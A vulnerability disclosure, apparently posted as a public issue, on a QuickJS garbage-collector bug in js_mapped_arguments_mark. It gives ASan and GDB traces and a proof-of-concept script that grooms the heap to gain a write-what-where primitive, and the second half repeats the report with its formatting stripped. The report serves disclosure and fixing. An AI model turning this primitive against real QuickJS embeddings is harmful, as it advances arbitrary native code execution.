This is a security issue, but I couldn't find a dedicated security email or any other channel, so I'm reporting it here. Verified against dcfa6c1 and v0.12.1.
js_mapped_arguments_mark marks non-detached JSVarRef entries in a mapped arguments fast array, leading to the use of uninitialized link pointers when garbage collection is triggered. This condition can be turned into a write-what-where primitive, possibly enabling malicious scripts to execute arbitrary native code.
The following test case crashes under AddressSanitizer due to an attempt to write to the invalid address 0xbebebebebebebebe, which appears as such due to AddressSanitizer's default malloc_fill_byte, 0xbe. The write seems to be erroneously reported as a read in the output (line 78 of list.h is prev->next = next;).
poc.js:
function f(a) {
arguments;
gc();
}
f(0);
AddressSanitizer trace (note that the -C flag is required):
./build-asan/qjs -C poc.js
/workspace/quickjs/list.h:78:16: runtime error: member access within misaligned address 0xbebebebebebebebe for type 'struct list_head', which requires 8 byte alignment
0xbebebebebebebebe: note: pointer points here
<memory cannot be printed>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==97264==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x6000e22c0ec9 bp 0x7ffe00b44cd0 sp 0x7ffe00b44cb0 T0)
==97264==The signal is caused by a READ memory access.
==97264==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x6000e22c0ec9 in list_del /workspace/quickjs/list.h:78
#1 0x6000e230b0c0 in gc_decref_child /workspace/quickjs/quickjs.c:6859
#2 0x6000e236f197 in js_mapped_arguments_mark /workspace/quickjs/quickjs.c:16023
#3 0x6000e230a5f7 in mark_children /workspace/quickjs/quickjs.c:6802
#4 0x6000e230b409 in gc_decref /workspace/quickjs/quickjs.c:6877
#5 0x6000e230c82f in JS_RunGC /workspace/quickjs/quickjs.c:6978
#6 0x6000e2286ab2 in js_gc /workspace/quickjs/qjs.c:202
#7 0x6000e237c300 in js_call_c_function /workspace/quickjs/quickjs.c:17143
#8 0x6000e237ef08 in JS_CallInternal /workspace/quickjs/quickjs.c:17359
#9 0x6000e238fd78 in JS_CallInternal /workspace/quickjs/quickjs.c:17780
#10 0x6000e238fd78 in JS_CallInternal /workspace/quickjs/quickjs.c:17780
#11 0x6000e23cf9fe in JS_CallFree /workspace/quickjs/quickjs.c:19998
#12 0x6000e24999dd in JS_EvalFunctionInternal /workspace/quickjs/quickjs.c:36338
#13 0x6000e249b8a0 in __JS_EvalInternal /workspace/quickjs/quickjs.c:36473
#14 0x6000e249bda3 in JS_EvalInternal /workspace/quickjs/quickjs.c:36499
#15 0x6000e249c6c4 in JS_EvalThis2 /workspace/quickjs/quickjs.c:36554
#16 0x6000e249c988 in JS_Eval /workspace/quickjs/quickjs.c:36568
#17 0x6000e22862c3 in eval_buf /workspace/quickjs/qjs.c:132
#18 0x6000e228652d in eval_file /workspace/quickjs/qjs.c:165
#19 0x6000e228a0b5 in main /workspace/quickjs/qjs.c:686
#20 0x731adbe2a1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#21 0x731adbe2a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#22 0x6000e2283a24 in _start (/home/ubuntu/quickjs/quickjs/build-asan/qjs+0x3cea24) (BuildId: 476ff760834bc8e31bc9e0ba23e04a220f143f4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /workspace/quickjs/list.h:78 in list_del
==97264==ABORTING
I'm not totally confident about this, but the root cause appears to be that js_mapped_arguments_mark does not distinguish between detached and non-detached JSVarRefs when calling mark_func (in this case, gc_decref_child) on the entries of a mapped arguments array. Non-detached JSVarRefs are not tracked in the garbage collection list and have uninitialized link.prev and link.next pointers (see the get_var_ref function's handling of the captured JSVarRef case).
static void js_mapped_arguments_mark(JSRuntime *rt, JSValueConst val,
JS_MarkFunc *mark_func)
{
JSObject *p = JS_VALUE_GET_OBJ(val);
if (p->fast_array) {
JSVarRef **var_refs = p->u.array.u.var_refs;
int i;
if (var_refs) {
for(i = 0; i < p->u.array.count; i++) {
if (var_refs[i])
mark_func(rt, &var_refs[i]->header);
}
}
}
}
When gc_decref_child calls list_del to remove the entry from the garbage collection list, it dereferences those uninitialized pointers, leading to undefined behavior.
The list_del implementation (shown below) is a convenient basis for a write-what-where primitive. If an attacker is able to control allocations before JSVarRef creation, they can set prev and next to any values and cause list_del to write data to arbitrary addresses, which is most of the heavy lifting for an arbitrary code execution exploit.
static inline void list_del(struct list_head *el)
{
struct list_head *prev, *next;
prev = el->prev;
next = el->next;
prev->next = next;
next->prev = prev;
el->prev = NULL; /* fail safe */
el->next = NULL; /* fail safe */
}
The following proof-of-concept exploit demonstrates this by writing controlled values (0x4141414141414141 and 0x4242424242424242) into an ArrayBuffer, freeing it, and then triggering a JSVarRef allocation that reuses the freed chunk. prev and next are assigned the controlled values by default and are never overridden, so list_del attempts to write next (0x4242424242424242) to the location pointed to by prev + 8 (0x4141414141414149).
write-what-where.js:
function f(a) {
arguments[0];
gc();
}
var ab = new ArrayBuffer(48);
var dv = new DataView(ab);
dv.setBigUint64(8, 0x4141414141414141n, true); // link.prev
dv.setBigUint64(16, 0x4242424242424242n, true); // link.next
dv = null;
ab = null;
f(0);
This is confirmed by running the above script in GDB (note that GLIBC_TUNABLES=glibc.malloc.tcache_count=0 is required in order to simplify the PoC, but it can be rewritten to not require this setting):
GLIBC_TUNABLES=glibc.malloc.tcache_count=0 gdb --args qjs -C write-what-where.js
Output:
Program received signal SIGSEGV, Segmentation fault.
0x0000592cbd7fbd1b in list_del (el=0x592ceb0a5468) at /workspace/quickjs/list.h:78
78 prev->next = next;
(gdb) disas $pc
Dump of assembler code for function list_del:
0x0000592cbd7fbcf4 <+0>: push %rbp
0x0000592cbd7fbcf5 <+1>: mov %rsp,%rbp
0x0000592cbd7fbcf8 <+4>: mov %rdi,-0x18(%rbp)
0x0000592cbd7fbcfc <+8>: mov -0x18(%rbp),%rax
0x0000592cbd7fbd00 <+12>: mov (%rax),%rax
0x0000592cbd7fbd03 <+15>: mov %rax,-0x10(%rbp)
0x0000592cbd7fbd07 <+19>: mov -0x18(%rbp),%rax
0x0000592cbd7fbd0b <+23>: mov 0x8(%rax),%rax
0x0000592cbd7fbd0f <+27>: mov %rax,-0x8(%rbp)
0x0000592cbd7fbd13 <+31>: mov -0x10(%rbp),%rax
0x0000592cbd7fbd17 <+35>: mov -0x8(%rbp),%rdx
=> 0x0000592cbd7fbd1b <+39>: mov %rdx,0x8(%rax)
[...]
End of assembler dump.
(gdb) i r
rax 0x4141414141414141 4702111234474983745
rbx 0xffffffffffffffff -1
rcx 0x592ceb0a5460 98049456755808
rdx 0x4242424242424242 4774451407313060418
[...]
This is a security issue, but I couldn't find a dedicated security email or any other channel, so I'm reporting it here. Verified against dcfa6c1 and v0.12.1.
js_mapped_arguments_markmarks non-detachedJSVarRefentries in a mapped arguments fast array, leading to the use of uninitialized link pointers when garbage collection is triggered. This condition can be turned into a write-what-where primitive, possibly enabling malicious scripts to execute arbitrary native code.The following test case crashes under AddressSanitizer due to an attempt to write to the invalid address
0xbebebebebebebebe, which appears as such due to AddressSanitizer's defaultmalloc_fill_byte,0xbe. The write seems to be erroneously reported as a read in the output (line 78 oflist.hisprev->next = next;).poc.js:
AddressSanitizer trace (note that the
-Cflag is required):I'm not totally confident about this, but the root cause appears to be that
js_mapped_arguments_markdoes not distinguish between detached and non-detachedJSVarRefs when callingmark_func(in this case,gc_decref_child) on the entries of a mapped arguments array. Non-detachedJSVarRefs are not tracked in the garbage collection list and have uninitializedlink.prevandlink.nextpointers (see theget_var_reffunction's handling of the capturedJSVarRefcase).When
gc_decref_childcallslist_delto remove the entry from the garbage collection list, it dereferences those uninitialized pointers, leading to undefined behavior.The
list_delimplementation (shown below) is a convenient basis for a write-what-where primitive. If an attacker is able to control allocations beforeJSVarRefcreation, they can setprevandnextto any values and causelist_delto write data to arbitrary addresses, which is most of the heavy lifting for an arbitrary code execution exploit.The following proof-of-concept exploit demonstrates this by writing controlled values (
0x4141414141414141and0x4242424242424242) into anArrayBuffer, freeing it, and then triggering aJSVarRefallocation that reuses the freed chunk.prevandnextare assigned the controlled values by default and are never overridden, solist_delattempts to writenext(0x4242424242424242) to the location pointed to byprev + 8(0x4141414141414149).write-what-where.js:
This is confirmed by running the above script in GDB (note that
GLIBC_TUNABLES=glibc.malloc.tcache_count=0is required in order to simplify the PoC, but it can be rewritten to not require this setting):Output: